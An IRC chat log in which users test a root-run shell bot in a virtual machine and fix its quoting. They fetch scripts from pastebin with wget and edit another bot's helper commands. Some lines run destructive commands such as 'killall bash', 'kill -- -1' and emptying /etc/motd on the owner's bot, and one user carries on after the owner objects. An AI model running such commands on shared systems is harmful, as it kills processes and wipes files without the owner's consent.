01:53:52 moon__: You might like to change how that works? 01:54:00 havocbot: bash -c ls 01:54:00 ::ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 01:54:03 -!- augur has joined. 01:54:06 havocbot: echo hi #i might need to fix something if this doesnt work 01:54:07 moon__:hi #i might need to fix something if this doesnt work 01:54:10 note to self: do not do just bash 01:54:19 moon__: no, -c is non-interactive 01:54:23 kk 01:54:27 just executes a command, then exits 01:54:32 k 01:54:33 god 01:54:35 *good 01:54:38 haha 01:54:40 s/god/good/ 01:54:55 havocbot: bloop () { }; bloop 01:55:03 havocbot: bloop () { echo test; }; bloop 01:55:10 havocbot: bash -c 'bloop () { echo test; }; bloop' 01:55:26 its not direct terminal. it $cmd "$@" to execute commands 01:55:38 eh? 01:55:40 also, nvm, sh does exist 01:55:44 just.. its still running 01:55:50 havocbot: pgrep sh 01:55:54 havocbot: ls 01:55:59 D: what 01:56:02 i need a rebot 01:56:04 *reboot 01:56:06 -!- havocbot has quit (Remote host closed the connection). 01:56:09 when did that happen, moon__? 01:56:13 s/when/why/ 01:56:13 idk 01:56:16 i just noticed it 01:56:19 in the lgs 01:56:23 -!- havocbot has joined. 01:56:23 that was weird 01:56:24 commands output and chat is logged 01:56:28 havocbot: bash -c 'bloop () { echo test; }; bloop' 01:56:33 havocbot: ls 01:56:33 ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 01:56:40 it is fast tho 01:56:40 havocbot: bloop () { echo test; }; bloop 01:56:45 moon__: certainly 01:56:46 havocbot: ls 01:56:47 ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 01:56:49 we might need to give it mk 01:56:54 mk? 01:56:58 `mk 01:57:03 usage: mk[x] file//contents 01:57:04 the hackego mk 01:57:18 hackego is also a linux bot, just slower 01:57:19 and older 01:57:26 and sandboxed with no network access 01:58:21 hackego and havocbot both lack cd 01:59:06 anyways, i cant keep havocbot up at all times, sadly 01:59:14 its only up when im up 02:00:26 havocbot: gcc 02:00:31 havocbot: uname 02:00:32 ybden:Linux 02:00:41 moon__: maybe make it formatted more nicely? 02:00:44 havocbot: uname -a 02:00:44 ybden:Linux livecd 4.0.5-gentoo #1 SMP Tue Aug 4 05:40:35 UTC 2015 i686 Intel(R) Celeron(R) CPU N2840 @ 2.16GHz GenuineIntel GNU/Linux 02:00:50 havocbot: lscpu 02:00:50 ybden:Architecture: i686:CPU op-mode(s): 32-bit:Byte Order: Little Endian:CPU(s): 2:On-line CPU(s) list: 0,1:Thread(s) per core: 1:Core(s) per socket: 2:Socket(s): 1:Vendor ID: GenuineIntel:CPU family: 6:Model: 55:Model name: Intel(R) Celeron(R) CPU N2840 @ 2.16GHz:Stepping: 8:CPU MHz: 2166.617: 02:01:06 its in virtualbx 02:01:12 ah, I see 02:01:19 was wondering why i686 02:01:25 havocbot: ls /usr 02:01:25 ybden:bin:i486-pc-linux-gnu:include:lib:libexec:livecd:local:portage:sbin:share:src:tmp 02:01:29 havocbot: ls /usr/bin 02:01:30 ybden:2to3:2to3-2.7:2to3-3.4:[:a2p:a2x:a2x.py:aconnect:acpi_listen:addr2name:alsamixer:alsaucm:amidi:amixer:aoss:aplay:aplaymidi:apm:apmsleep:apropos:arch:arecord:arecordmidi:arpd:asciidoc:asciidoc.py:aseqdump:aseqnet:aserver:avivotool:awk:b2:b43-fwcutter:base64:basename:bashbug:bc:bjam:bzcmp:bzdiff:bzegrep:bzfgrep:bzgrep:bzip2recover:bzless:bzmore:c2ph:c89:c99:c_rehash:cal:calc_tickadj:captest:captoinfo:catchsegv:catman:chage:charde 02:01:38 too much lol 02:01:42 moon__: any reason why there's no gcc? 02:01:46 havocbot: which gcc 02:01:49 havocbot: which make 02:01:54 or anything else like that 02:01:55 livecd doesnt have it for no reason whatsoever 02:02:06 /Gentoo/ livecd? 02:02:07 wat 02:02:37 mhm 02:02:48 i downloaded gentoo a ln while ag 02:02:56 out of date Gentoo? D: 02:03:08 not tooo out of date 02:03:23 1-2 years ago maybe 02:03:29 ill update to a new livecd soon 02:04:07 also, pls do not ls /usr/bin 02:04:13 it spams the logs 02:04:48 moon__: you should maybe add some timeouts 02:04:55 heh, maybe 02:05:09 or just a command to allow people to kill a command 02:05:14 if it runs out of hand 02:05:16 to avoid while true; do nothing; done, and interactive things, I mean 02:05:27 havocbot: read 02:05:30 havocbot: ls 02:05:30 ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 02:05:37 -!- hppavilion[2] has joined. 02:05:46 havocbot: bash -c 'while true; do true; done' 02:05:47 havocbot: ls 02:05:48 ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 02:05:49 hi hppa, again 02:05:54 havocbot: bash 02:05:55 havocbot: ls 02:05:55 ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 02:06:00 moon__: you fixed that? 02:06:03 havocbot: pgrep bash 02:06:06 havocbot: ls 02:06:06 ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 02:06:08 the commads are running reduntantly, >_> 02:06:14 havocbot: killall bash 02:06:15 -!- havocbot has quit (Remote host closed the connection). 02:06:17 :D: 02:06:21 ... 02:06:34 (:D: being combination of :D and D:) 02:06:37 i will physically murder you 02:06:41 -!- havocbot has joined. 02:06:47 moon__: howso? 02:06:54 dont touch mah bot 02:06:55 havocbot: echo $PID 02:06:55 ybden:$PID 02:07:02 (= 02:07:06 havocbot: bash -c 'echo $PID' 02:07:11 havocbot: pwd 02:07:11 ybden:/root 02:07:20 havocbot: kill -1 02:07:23 hmm 02:07:31 did the killall bash crash it 02:07:32 ? 02:07:34 n 02:07:36 no 02:07:42 it was used wrong, dummy 02:07:44 -!- augur_ has joined. 02:07:45 and dont 02:07:52 moon__: what did it do, then? 02:07:52 or i will try to block you lol 02:08:03 printed its help message to the terminal 02:08:06 I don't see how that was incorrect usage 02:08:23 havocbot: kill -l -1 02:08:23 ybden: 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP: 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL10) SIGUSR1:11) SIGSEGV12) SIGUSR213) SIGPIPE14) SIGALRM15) SIGTERM:16) SIGSTKFLT17) SIGCHLD18) SIGCONT19) SIGSTOP20) SIGTSTP:21) SIGTTIN22) SIGTTOU23) SIGURG24) SIGXCPU25) SIGXFSZ:26) SIGVTALRM27) SIGPROF28) SIGWINCH29) SIGIO30) SIGPWR:31) SIGSYS34) SIGRTMIN35) SIGRTMIN+136) SIGRTMIN+237) SIGRTMIN+3:38) SI 02:08:28 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 02:08:28 thats a 1 02:08:32 nice spam 02:08:33 havocbot: kill -- -1 02:08:33 -!- havocbot has quit (Remote host closed the connection). 02:08:33 >_> 02:08:44 eh, that doesn't work how I remember it 02:08:47 also sorry 02:08:55 *slaps ybden* nu 02:08:59 ;_; 02:09:11 -!- havocbot has joined. 02:09:19 you made gentoo shw the start msg again 02:09:20 I was pretty sure that -1 was supposed to be interpreted as negative 1, not flag positive one 02:09:24 moon__: :D: 02:09:34 *smack* 02:09:39 havocbot: ls -alFh /etc/motd 02:09:40 ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd 02:09:43 im very happy its a virtuall machine 02:09:53 havocbot: >/etc/motd 02:09:54 havocbot: ls -alFh /etc/motd 02:09:55 ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd 02:09:57 ehh 02:09:59 do not abuse your root privs -.- 02:10:03 havocbot: truncate /etc/motd 02:10:05 havocbot: ls -alFh /etc/motd 02:10:05 ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd 02:10:07 or... 02:10:10 ... 02:10:16 moon__: I was removing the start message for you 02:10:17 -!- augur has quit (Ping timeout: 250 seconds). 02:10:23 dont 02:10:25 heh 02:10:25 Also I don't get why that wasn't working 02:10:33 moon__: wait, you /want/ it? 02:10:44 '$cmd "$@"' is what uses cmds 02:10:51 multiarg cmds need bash 02:10:56 oh, right 02:10:57 yea, dont mess with my livecd 02:11:01 okay 02:11:07 mess with the drive 02:11:10 aka the home dir 02:11:13 -!- hppavilion[2] has quit (Ping timeout: 252 seconds). 02:11:32 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:11:33 moon__: er, are you sharing directories with it? D: 02:11:37 no 02:11:37 havocbot: ls /home 02:11:50 ... 02:11:53 havocbot: ls 02:11:53 moon__:bashbot.config:bashbot.pid:bin:ii-1.7:src 02:11:55 thats the main dir 02:12:11 havocbot: which truncate 02:12:11 ybden:/usr/bin/truncate 02:12:13 ehh 02:12:20 I don't get why truncate wouldn't have worked 02:12:23 also, deleting ii-1.7 will get you killed again 02:12:24 havocbot: truncate foo 02:12:26 havocbot: ls 02:12:26 ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src 02:12:28 as that contains the bot 02:12:43 oh, I see 02:12:51 havocbot: file ii-1.7 02:12:51 ybden:ii-1.7: directory 02:12:53 trunctuate: you must either specify --size or --reference 02:13:04 moon__: okay, I remembered it wrong then >.< 02:13:16 or its diff on gentoo 02:13:16 havocbot: ls -alFh ii* 02:13:16 ybden:total 56K:drwxr-x--- 3 1000 1000 260 Jun 9 23:15 ./:drwx------ 5 root root 240 Jun 10 01:08 ../:-rw-r----- 1 1000 1000 2.0K Jan 5 2013 CHANGES:-rw-r----- 1 1000 1000 1.6K Jan 5 2013 FAQ:-rw-r----- 1 1000 1000 1.2K Jan 5 2013 LICENSE:-rw-r----- 1 1000 1000 1.3K Jan 5 2013 Makefile:-rw-r----- 1 1000 1000 1.9K Jan 5 2013 README:drwxr-xr-x 4 root root 180 Jun 10 00:27 bashbot-master/:-rw-r----- 1 1000 1000 733 Jan 5 02:13:19 either one 02:13:25 havocbot: ls ii* 02:13:25 ybden:CHANGES:FAQ:LICENSE:Makefile:README:bashbot-master:config.mk:ii.1:ii.c:master.zip:query.sh 02:13:41 it contains ii, that useful lib, but i found myself not using it 02:13:59 moon__: nah, I just used it wrong 02:14:03 havocbot: touch me 02:14:07 havocbot: rm me 02:14:08 havocbot: rm me 02:14:17 hmm, does it not redirect stderr to stdout? 02:14:19 you removed me 02:14:20 might want to change that 02:14:29 for some reason, no, im looking into it 02:14:32 okay 02:14:36 havocbot: pwd 02:14:36 ybden:/root 02:14:40 havocbot: cd * 02:14:42 havocbot: pwd 02:14:42 ybden:/root 02:14:44 if you can upload the bashbot file somewhere, go ahead 02:14:46 cd doesnt work 02:14:56 right, it invokes a subshell each time? 02:14:59 mhm 02:15:01 okay 02:15:06 same with hackego 02:15:09 yeah 02:15:09 i think 02:15:11 havocbot: " 02:15:22 havocbot: ";cd 02:15:23 ": command not found 02:15:34 hmm, quoting is weird with this 02:15:40 use bash lol 02:15:43 or make a file 02:15:48 mk would be usefull here 02:16:37 anyone willing to add mk to havocbot? 02:16:43 you can use wget to fetch it 02:18:33 virtualbox doesnt have shared folders for gentoo as far as i know *responding to earlier message* 02:19:20 you like havocbot ybden? 02:19:42 `url bin/echo-p 02:19:44 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p 02:19:54 `url bin/mk 02:19:58 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk 02:20:30 havocbot: wget http://pastebin.com/raw/50Pts79s 02:20:41 -!- havocbot has quit (Remote host closed the connection). 02:21:01 -!- havocbot has joined. 02:21:01 -!- j-bot has joined. 02:21:07 the terminal went out 02:21:48 havocbot: ls 02:21:48 moon__:50Pts79s:bashbot.config:bashbot.pid:bin:ii-1.7:src 02:22:24 havocbot: bash -c 'mv 50Pts79s /bin/echo-p' 02:22:43 it failed 02:22:48 havocbot: mv 50Pts79s /bin/echo-p 02:23:08 havocbot: echo hi there 02:23:09 oerjan:hi there 02:23:09 havocbot: mv 50Pts79s /usr/bin/echo-p 02:23:32 havocbot: mv 50Pts79s echo-p 02:23:50 havocbot: touch hi there 02:23:53 readonly disk >_> 02:23:53 havocbot: ls 02:23:54 oerjan:bashbot.config:bashbot.pid:bin:echo-p:hi:ii-1.7:src:there 02:24:10 looks to me like it takes multiple args 02:24:18 yea, i figured that i was wrong 02:24:20 havocbot: rm hi there 02:24:29 "$@" is magical 02:24:39 ? 02:24:48 havocbot: wget http://pastebin.com/VkvFjPqu 02:24:57 it expands to the same number of strings as the original argument list 02:25:11 havocbot: mv VkvFjPqu mk 02:25:23 havocbot: chmod +x echo-p 02:25:30 havocbot: chmod +x mk 02:25:39 havocbot: ./mk test//foobar 02:25:59 havocbot: ls 02:25:59 moon__:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src 02:26:08 havocbot: mk test//foobar 02:26:22 havocbot: bash -c './mk test//foobar' 02:26:34 hmm 02:26:46 havocbot: bash -c ' ./mk test//foobar ' 02:26:56 end of file error 02:28:11 havocbot: which mk 02:28:20 huh 02:28:36 havocbot: echo ping 02:28:37 oerjan:ping 02:29:09 mk is in the main folder 02:29:15 hm right 02:29:17 aka ~ or home 02:29:22 havocbot: cat mk 02:29:32 ? 02:29:34 ... 02:29:39 havocbot: echo $PATH 02:29:39 oerjan:$PATH 02:29:45 try that in bash 02:29:46 havocbot: bash -c 'echo $PATH' 02:29:57 end of file error 02:30:07 huh 02:30:10 leme reboot havoc 02:30:15 then you can try again 02:30:16 havocbot: bash -c 'echo test' 02:30:16 -!- havocbot has quit (Remote host closed the connection). 02:30:31 -!- havocbot has joined. 02:30:34 there 02:30:37 havocbot: bash -c 'echo $PATH' 02:30:42 nope, same error 02:30:45 havocbot: bash -c 'echo test' 02:30:51 error 02:30:59 havocbot: which bash 02:30:59 oerjan:/bin/bash 02:31:11 havocbot: ls -a 02:31:11 oerjan:.:..:.bash_history:.bash_profile:.bashrc:.keep:.python_history:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src 02:31:27 havocbot: cat .bashrc 02:31:27 oerjan:#!/bin/bash::if [ ! "$(grep nox /proc/cmdline)" ]:then:if [ -x /usr/bin/X ]:then:if [ -e /etc/startx -a $(tty) = "/dev/tty1" ];:then:rm -f /etc/startx:##STARTX:[ -f /etc/motd ] && cat /etc/motd:fi:fi:fi 02:31:52 havocbot: ls -l .bashrc 02:31:54 oerjan:-rw-r--r-- 1 root root 221 Aug 4 2015 .bashrc 02:31:58 : is used when a \n is encountered 02:32:09 hm .bashrc is too old to be broken 02:32:18 oh wait... 02:32:24 of course. 02:32:27 what? 02:32:46 it tries to run the string 'echo 02:32:50 lol 02:33:32 havocbot: echo echo $PATH | bash 02:33:32 oerjan:echo $PATH | bash 02:33:38 bah 02:33:43 hm tricky 02:33:45 hah 02:34:17 echo test hi 02:34:22 havocbot: echo test hi 02:34:23 oerjan:test hi 02:34:25 thought so 02:35:10 havocbot: cat test 02:35:27 nonexistent 02:35:35 it could use a better script to run it 02:35:36 hah 02:35:51 because its not echoed to irc 02:36:52 havocbot: cat mk 02:37:01 oh also nonexistent? 02:37:07 havocbot: ls 02:37:08 oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src 02:37:16 havocbot: file mk 02:37:17 oerjan:mk: HTML document, ASCII text, with very long lines, with CRLF, LF line terminators 02:37:24 oh 02:37:33 ? 02:37:39 windows goofed it? 02:37:47 moon__: you didn't download the raw version 02:37:58 ah, hahah 02:38:12 havocbot: wget http://pastebin.com/raw/VkvFjPqu 02:38:32 havocbot: mv VkvFjPqu 02:38:36 havocbot: mv VkvFjPqu mk 02:38:51 havocbot: ./mk test//foobar 02:39:04 havocbot: file mk 02:39:05 moon__:mk: ASCII text, with no line terminators 02:39:27 huh 02:39:30 havocbot: mk 02:39:36 havocbot: ./mk 02:39:54 havocbot: file echo-p 02:39:54 oerjan:echo-p: ASCII text, with no line terminators 02:39:58 havocbot: bash -c ' ./mk foo//bar ' 02:40:04 havocbot: cat echo-p 02:40:15 wat 02:40:19 idk what 02:40:23 havocbot: cat echo-p 02:40:31 im no good at bash, it did run th 02:40:53 moon__: you cannot run bash commands containing spaces at this point 02:41:06 i'm more concerned that my cat failed 02:41:10 ? 02:41:12 havocbot: echo hi 02:41:13 oerjan:hi 02:41:14 Then, are you going to fix it? 02:41:29 eh, depends if i can figure out how, haha 02:42:28 havocbot: xxd echo-p 02:42:31 if anyone offers a better script, tho, ill happily use it 02:42:45 havocbot: hexdump echo-p 02:42:45 oerjan:0000000 6365 6f68 2220 3124 3b22 5b20 205b 2422:0000010 2231 3d20 203d 2f2a 202a 5d5d 2620 2026:0000020 6b6d 6964 2072 702d 2220 7b24 2531 2a2f:0000030 227d 3220 2f3e 6564 2f76 756e 6c6c :000003e 02:42:50 xxd is a invalid command 02:43:04 ok so there's a file 02:43:11 testing something 02:43:31 kk 02:43:49 havocbot: wc echo-p 02:43:49 oerjan: 0 12 62 echo-p 02:44:03 huh... 02:44:13 did i forget to chmod? 02:44:22 could it simply be failing because there's no newline in it? 02:44:30 `file bin/echo-p 02:44:33 bin/echo-p: ASCII text 02:44:48 its the command from hackego 02:44:52 for mk compat 02:45:13 havocbot: sed -i s/$/\n/ echo-p 02:45:27 no return 02:45:27 havocbot: cat echo-p 02:45:28 oerjan:echo "$1"; [[ "$1" == */* ]] && mkdir -p "${1%/*}" 2>/dev/null 02:45:34 that fixed it 02:45:38 oh 02:45:55 check if mk is invalid 02:46:00 moon__: you don't print output which doesn't end with a newline, i think 02:46:08 havocbot: file mk 02:46:08 oerjan:mk: ASCII text, with no line terminators 02:46:11 havocbot: ./echo-p 02:46:17 havocbot: sed -i s/$/\n/ mk 02:46:28 havocbot: cat mk 02:46:28 oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key" 02:46:34 ./mk foo//bar 02:46:44 havocbot: ./mk foo//bar 02:46:51 command not found 02:46:54 i think there might be a problem finding echo-p 02:47:05 no its mk thats not found 02:47:18 as stated by the terminal 02:47:19 havocbot: ls ~ 02:47:31 invalid dir 02:47:35 try just ls 02:47:39 havocbot: ls . 02:47:39 oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src 02:47:42 thats the dir we are in 02:47:43 :P 02:48:22 havocbot: ls / 02:48:22 moon__:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var 02:48:31 havocbot: sed -i s,echo-p,.,echo-p, mk 02:48:37 havocbot: cat mk 02:48:37 oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key" 02:48:44 oops 02:48:49 havocbot: sed -i s,echo-p,./echo-p, mk 02:48:51 havocbot: cat mk 02:48:52 oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(./echo-p "$key")" && echo "$key" 02:49:02 havocbot: ./mk foo//bar 02:49:13 havocbot: cat foo 02:49:17 :( 02:49:18 mk: command not found in line 175 of bashbot 02:49:52 moon__: well that's strange. 02:49:57 havocbot: ls -l mk 02:49:57 oerjan:-rw-r--r-- 1 root root 163 Jun 10 01:48 mk 02:49:58 mhm 02:50:02 bah 02:50:08 ? 02:50:10 havocbot: chmod +x mk 02:50:15 oh lol 02:50:19 havocbot: ./mk foo//bar 02:50:22 havocbot: ls -l echo-p 02:50:22 oerjan:-rwxr-xr-x 1 root root 63 Jun 10 01:44 echo-p 02:50:31 mk is still not found 02:50:36 havocbot: chmod a+x mk 02:50:40 havocbot: ls -l mk 02:50:41 oerjan:-rwxr-xr-x 1 root root 163 Jun 10 01:48 mk 02:50:50 you blacked my terminal with that for some reason 02:50:59 actually 02:51:06 just gentoo going to sleep, nvm 02:51:13 ... 02:51:26 does gentoo do that? 02:51:34 havocbot: cat foo 02:52:56 urg 02:53:21 if i knew bash a little better, we wouldnt have this problem >_> 02:53:39 well, maybe a python bot made by someone would help. 02:55:10 -!- Kaynato has joined. 02:55:22 havocbot: echo Hello 02:55:22 moon__:Hello 02:55:33 hm... 02:55:49 -!- xkapastel has quit (Quit: Connection closed for inactivity). 02:55:52 havocbot: bash -c echotest 02:55:52 oerjan: 02:55:59 wat 02:56:06 .-. 02:56:16 havocbot: bash -c echo 02:56:16 oerjan: 02:56:19 oh. 02:56:20 multiargs ruin everything 02:56:34 yes. i was trying to see if tabs got around it. 02:56:54 maybe fizzie could help, he/she is good with computers 02:58:25 havocbot: bash -c echo{,$PATH} 02:58:25 oerjan:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4 02:58:31 anyone who has experience with gentoo on? 02:58:33 :P 02:58:39 found a trick 02:58:40 wait gcc? oh yay 02:58:51 oh neat 02:59:05 hm no home directory listed 02:59:18 cd goes to it, but thats it >_> 02:59:51 you should add the bin directory to $PATH 03:00:06 if i knew how, im a linux newb still hah 03:00:09 then you can have new commands in their proper place 03:00:16 hmph 03:00:44 you *are* the root user you know 03:00:49 hm... 03:00:55 havocbot: ls / 03:00:56 oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var 03:01:04 wat 03:01:09 havocbot: ls .. 03:01:09 oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var 03:01:14 havocbot: ls ../../ 03:01:14 oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var 03:01:22 havocbot: ls /../../ 03:01:23 oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var 03:01:33 what happened to all the stuff i saw before... 03:01:37 havocbot: ls 03:01:38 oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src 03:01:44 i guess it's that 03:01:57 havocbot: file ii-1.7 03:01:58 oerjan:ii-1.7: directory 03:02:08 havocbot: ls ii-1.7 03:02:08 oerjan:CHANGES:FAQ:LICENSE:Makefile:README:bashbot-master:config.mk:ii.1:ii.c:master.zip:query.sh 03:02:50 ii is a irc service, but i didnt use it 03:02:57 dont touch bashbot-master 03:03:01 that contains havoc 03:03:40 and the shellscript 03:03:43 oh that's it 03:03:50 if you can upload it somewhere and fix it. go ahead 03:03:51 havocbot: ls bashbot-master 03:03:58 wat 03:04:05 havocbot: file bashbot-master 03:04:06 oerjan:bashbot-master: cannot open `bashbot-master' (No such file or directory) 03:04:10 no cd 03:04:11 hah 03:04:23 its the hackego nocd situation, remember? 03:04:26 havocbot: file ii-1.7/bashbot-master 03:04:26 oerjan:ii-1.7/bashbot-master: directory 03:04:34 havocbot: ls ii-1.7/bashbot-master 03:04:35 oerjan:README:bashbot:bashbot.config:bashbot.pid:commands:filters 03:04:45 havocbot: ls ii-1.7/bashbot-master/bashbot 03:04:46 oerjan:ii-1.7/bashbot-master/bashbot 03:05:01 the script is 'bashbot' i decided not to reinvent the wheel and just modified a script by someone else 03:05:31 havocbot: grep "[$]@" ii-1.7/bashbot-master/bashbot 03:05:31 oerjan: printf "%s\r\n" "$@" >&3; }: if [[ "$@" =~ $f ]]; then:bashbot_args=("$0" "$@"): case "$@" in: builtin_reload "$@": "${builtin_commands[$cmd]}" "$@": $cmd "$@" | sed ':a;N;$!ba;s/\n/:/g': # "/bin/$cmd" "$@" | sed ':a;N;$!ba;s/\n/:/g': cd "$@" 03:05:49 sheesh 03:05:59 $cmd "$@" | sed ':a;N;$!ba;s/\n/:/g' is what i came up with to get rid of the endlines 03:06:06 yes i know 03:06:12 please dont kill me 03:09:31 nah that's about how awkward that is in sed 03:09:44 joining lines is _not_ fun 03:11:09 +1 03:11:15 thats all i can say 03:14:04 chat's dead 03:14:06 again 03:14:14 say something if you are alive 03:15:21 ima install the stage3 tarball so you all can use gcc 03:15:27 -!- havocbot has quit (Remote host closed the connection). 03:16:16 -!- havocbot has joined. 03:16:18 actually, i think its easier to get the tarball over irc 03:16:22 havocbot: wget distfiles.gentoo.org/releases/x86/autobuilds/20160607/stage3-i686-20160607.tar.bz2 03:16:38 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 03:16:42 oh boy my network is lsow 03:17:46 someone give my internet a hug 03:17:47 also 03:17:58 you can do stuff while the tarball downloads i think 03:18:02 havocbot: ls 03:18:02 moon__:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2 03:18:36 dont touch the tarball 03:21:53 -!- oerjan has quit (Quit: Something's gone wrong with tmux again). 03:22:18 im lonely 03:23:07 -!- xkapastel has joined. 03:23:31 havocbot: echo hello 03:23:32 moon__:hello 03:24:56 chat is truely dead 03:25:49 -!- oerjan has joined. 03:26:03 wb 03:26:15 i think something locked up temporarily on this server 03:26:26 but it eventually resolved. i think. 03:26:52 what server? 03:27:33 the server i'm irc'ing via 03:27:47 (not an irc server, a linux server) 03:27:47 oh 03:28:00 now i need some food -> 03:28:21 you think you could make a better irc script for havoc? it can be in either bash or python 03:30:53 helloon 03:31:25 hii 03:31:37 havocbot is still kinda glitchy, but it works 03:31:46 you'd be less lonely if you renamed it bruce 03:31:49 havocbot: echo hello! 03:31:49 moon__:hello! 03:31:51 lol 03:31:54 nah 03:37:44 weev/moot 2020! 03:37:59 or maybe esr/rooshv 03:39:23 moon__: i think i've used more time on this bot than i wanted to at this time. 03:49:18 -!- moon__ has quit (Ping timeout: 250 seconds). 03:49:28 -!- havocbot has quit (Ping timeout: 272 seconds). 03:58:55 `? `? 03:58:58 ​`? is the command to query wisdom entries. 03:59:40 `before 03:59:47 wisdom/can't//can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't st 03:59:49 `cat bin/before 03:59:52 lastfiles | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done 03:59:58 `cat bin/lastfiles 03:59:59 hg log -l 1 --template "{files}\n" 04:00:49 `undo 8426 04:00:57 patching file 'wisdom/`?' 04:01:40 `mkx bin/before//([[ -n "$1" ]] && echo "$1" || lastfiles) | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done 04:01:43 bin/before 04:01:57 Hmm, maybe not. 04:02:01 `revert 04:02:25 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 04:02:25 huh. pronouncing all of those with a ɑː is kind of fun 04:02:59 `sled bin/lastfiles//s/$/ "$@"/ 04:03:02 bin/lastfiles//hg log -l 1 --template "{files}\n" "$@" 04:03:06 `lastfiles 04:03:12 bin/lastfiles 04:03:13 `lastfiles wisdom 04:03:18 wisdom/`? 04:03:23 `? `? 04:03:25 ​`? ¯\(°​_o)/¯ 04:03:43 `sled bin/before//s/files/files "$@"/ 04:03:47 bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done 04:03:51 `before 04:03:59 bin/before//lastfiles | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done 04:04:03 `before wisdom 04:04:13 wisdom/`?//`? ¯\(°​_o)/¯ 04:04:17 there we go tdh 04:04:18 fancy 04:04:30 `before share 04:04:37 share/test//share/test: no such file in rev 9345cfdfdd22 04:04:39 `sled bin/lastfiles//s/....$/-- "$@"/ 04:04:42 bin/lastfiles//hg log -l 1 --template "{files}\n" -- "$@" 04:05:11 `before wisdom/`? 04:05:17 wisdom/`?//`? ¯\(°​_o)/¯ 04:05:22 `? `? 04:05:23 ​`? ¯\(°​_o)/¯ 04:05:31 Hmm, is something wrong there? 04:05:49 no, it's fine hth 04:05:55 -!- Melvar has quit (Ping timeout: 260 seconds). 04:06:30 What am I missing? 04:06:40 Oh, wait. 04:06:42 Now I see. 04:06:47 Of course -r -2 doesn't do what I want. 04:07:12 oh that 04:07:26 tricky 04:08:34 -!- bender has joined. 04:10:34 `cat bin/spam 04:10:36 line="$(cat /hackenv/tmp/spline)"; len="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo -n "$line/$len:"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline 04:11:16 `sled bin/before//s/-2/"$(hg log --template '{rev}\\n' "$f" | tail -n+2 | head -n1)"/ 04:11:19 bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done 04:11:23 `before wisdom 04:11:33 wisdom/`?//`? is the command to query wisdom entries. 04:11:40 hth 04:11:53 Of course now it'll run three hg commands. 04:13:29 `learn Politics: See lies. 04:13:33 Learned 'politic': Politics: See lies. 04:13:38 bah 04:13:46 `` mv politic{,s} 04:13:48 mv: cannot stat `politic': No such file or directory 04:13:54 `` mv wisdom/politic{,s} 04:13:57 No output. 04:18:50 `? lies 04:18:51 Lies are even easier than monoids. They form groups, known as Lie groups. 04:19:30 `learn Politics are even easier than monoids. They form groups, known as Politic groups 04:21:16 -!- Melvar has joined. 04:22:38 -!- spiette has joined. 04:36:23 -!- \oren\in_maid_ca has joined. 04:36:40 <\oren\in_maid_ca> hi 04:37:17 -!- \oren\in_maid_ca has changed nick to \oren\maidcafe. 04:38:53 <\oren\maidcafe> someone make a esolang where もえもえきゅーん is a valid program 04:39:46 Brainfuck HTH 04:42:04 <\oren\maidcafe> pikhq how about if the hiraganna have to make it into the parser 04:43:52 <\oren\maidcafe> for some reason i cant seem to ssh frome here. owell 04:46:37 -!- 